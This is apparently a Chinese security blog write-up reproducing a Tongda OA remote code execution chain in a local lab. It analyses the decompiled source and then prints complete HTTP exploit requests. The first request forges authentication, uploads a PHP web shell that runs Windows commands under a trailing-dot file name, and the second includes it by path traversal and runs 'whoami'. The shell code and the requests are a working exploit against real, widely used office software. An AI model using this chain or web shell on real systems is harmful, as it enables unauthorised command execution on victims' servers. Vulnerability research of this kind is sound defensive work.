研究了好几个java程序的漏洞,但是都有好多地方不明白,java不太熟悉,太打击人了。先分析之前复现过的php漏洞压压惊。
漏洞版本:
tongdaOA V11
tangdaOA 2017
tangdaOA 2016(为啥我下的16版本还要自己添加gateway.php呢,懵逼)
tangdaOA 2015
tangdaOA 2013 增强版
tangdaOA 2013
1.下载漏洞版本,我下的是2016年版本:(通达oa是windows上用的,不能丢linux里)
http://www.tongda2000.com/download/2016.php
2.下载完了之后傻瓜式安装,注意提示,路径不能有中文,还有长度限制:
3.装完之后会弹出来一个窗口,分别选中MYsql5和web服务,点击右侧的注册:
4.浏览器访问localhost:(如果你改端口了就要访问改后的端口)
1.漏洞文件有三个,分别是upload.php
/ gateway.php
/ utility_file.php
;
我下载的这个版本的upload.php文件在:
D:\MYOA\webroot\ispirit\im\upload.php
gateway.php文件没有,需要从前辈那里搞,复制这个里面的代码,
https://github.com/jas502n/OA-tongda-RCE/blob/master/tongda/decode/gateway.php
在D:\MYOA\webroot\interface
下面新建一个gateway.php,把代码粘贴进去。
而且这个OA系统是不开源的,我们可以在前辈这里直接拿代码分析:
https://github.com/jas502n/OA-tongda-RCE/tree/master/tongda/decode
utility_file.php是在线网址解的。
2.终于开始分析了- -,首先看upload.php文件:
这里是post接收了一个P参数,如果P存在或者不为空就包含session.php,然后给你设置了session,如果是空的话就包含了auth.php文件,这个文件就是身份验证的意思了。
我们就可以传一个P参数,值随便给,就导致了一个越权操作。(因为这上传点是在后台的)
3.继续往下看关键点,中间的一些不管了:
这里只要上传了文件,就是大于等于1的,然后就进入判断来到第二个红点处,调用了upload函数。
4.upload函数在D:\MYOA\webroot\inc\utility_file.php里面,我把这个文件解密了下,代码太多就贴出来一部分,关键点:
先看第二个红点,如果$ERROR_DESC为空,那么就进入add_attach函数,而这个函数正是把文件保存在服务器的函数,所以我们要保证$ERROR_DESC为空。
再往上看到第一个红点,那里给$ERROR_DESC初始化为空,我们现在就需要绕过两个红点之间的一些赋值操作,保证$ERROR_DESC为空。
内层的第二个和第三个if,检查文件名非法字符和文件大小是否为0 ,很明显,我们上传点后缀马(12.php.)不会触发这些规则,根本不需要绕过。
主要看第一个内层if,它调用了is_uploadable函数,我们要保证这个函数返回true才不会进入if里面,这个函数 也在这个文件里。
5.在1667行:
strrpos — 计算指定字符串在目标字符串中最后一次出现的位置,如果没有找到,返回 FALSE。
我们的文件名肯定是有“.”的,所以直接进入else,这里用substr函数截取了"."后面的三个字符,而且用strtolower函数把它转换为小写。
也就是说,我们不能用php\php3\php4和大小写绕过了,但是phtml、php. 这些都是可以的。(因为之后还是要用到文件包含漏洞,所以这里随便上传图片马也可以了,不用绕过)
绕过之后就给$EXT_NAME赋值为“.”之后的字符。
6.回到upload函数,我们可以成功的去add_attach函数了:
7.add_attach函数也在这个文件下,在1318行:
这个里边就是各种拼接目录和文件名,文件名也是随机的:
8.问题来了,我们在攻击的时候,没办法知道随机后的文件名。但是在upload.php里面有这么一段:
第一个点点,$UPLOAD_MODE其实也是我们可以通过post传上去的;
第二个点点就是把我们的一些目录和文件名拼接起来,一会儿直接在复现中看比较清楚;
第三个点点就是把它echo出来。
9.我们知道了文件名,但是问题又来了,我们的网站根目录是webroot,我们上传的文件却被保存在attach里面的一个目录下,我们就没办法直接访问了。(好像版本不同,保存的文件位置也不同,但是都不在网站根目录下)
我们现在就需要一个文件包含漏洞去包含它,而且这个包含漏洞还需要允许 “…/”往上跨目录:
10.在gateway.php文件里面,就有一个包含函数包含了变量:
11.因为这个文件下载下来只有几十行,那就全部分析了:
第一部分:
包含了一些文件,然后判断$P不为空就进入if里面,然后哒哒哒一系列操作,导致有可能exit掉,不能到最后的包含函数。
这里不用仔细看,我们不传$P就可以了,因为它没写else会怎么怎么样。(这里传不传$P和之前的上传没关系,是两个操作,不影响)
第二部分:
stripcslashes函数删除$json中的反斜杠;
然后json解码并且转为数组;
foreach循环,键名赋给$key,键值赋给$val,假如…,假如$key等于url,就把$val赋值给$url。(因为包含函数包含的变量是$url,所以不看内层的foreach)
第三部分:
如果$url不为空,进入判断;
如果$url的第一位是"/"符号,就把它去掉;
只要$url中存在general/、ispirit/、module/中的任意一个,就可以进行包含。
12.调用链:upload.php==》 utility_file.php的upload() ==》 is_uploadable() ==》 add_attach() ==》 upload.php(输出文件名) ==》 gateway.php的include_once函数。
首先确保安装完成,能够正常访问,并且把gateway.php文件放进interface文件夹里(上面都有说)
我搞的大佬的poc直接传了:
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Length: 564
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="123.php."
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
看这里,我们指定了UPLOAD_MODE,是为了输出文件保存地址;我们指定了P参数,伪造身份认证;我们上传了免杀马,Content-Type是图片的,文件名是用了 “点后缀绕过”,下面是输出结果。
我们再看本地的文件(注意看我的路径),可以看到,@后面的2005是子目录名,1406090585|123.php. 变成了1406090585.123.php ,中间的 “|” 变成了 “.” ,因为windows的特性,最后的 “.” 也被去掉了。(直接对比 比 分析源代码容易多了)(版本不同可能目录也有些不同)
我们知道了文件路径和构成规则就可以进一步包含了:
POST /interface/gateway.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1
json={"url":"/general/../../attach/weixunshare/2005/1406090585.123.php"}&cmd=whoami
可以看到,我们是传的json数据,而且url的值里面包含了general,这个general也可以换成ispirit或者module,我们之前分析过,而且在根目录下的确存在这么几个目录。(这里因为版本不同路径也会不同,其他版本的包含文件路径:/ispirit/interface/gateway.php
,/mac/gateway.php
文件上传后的路径 /general/../../attach/im/
)
最后包含执行命令的结果:
可恶,版本不同导致目录不同的话,POC+EXP不好写啊- -。看了好多前辈的分析文章,就没见到过我这种目录的- -。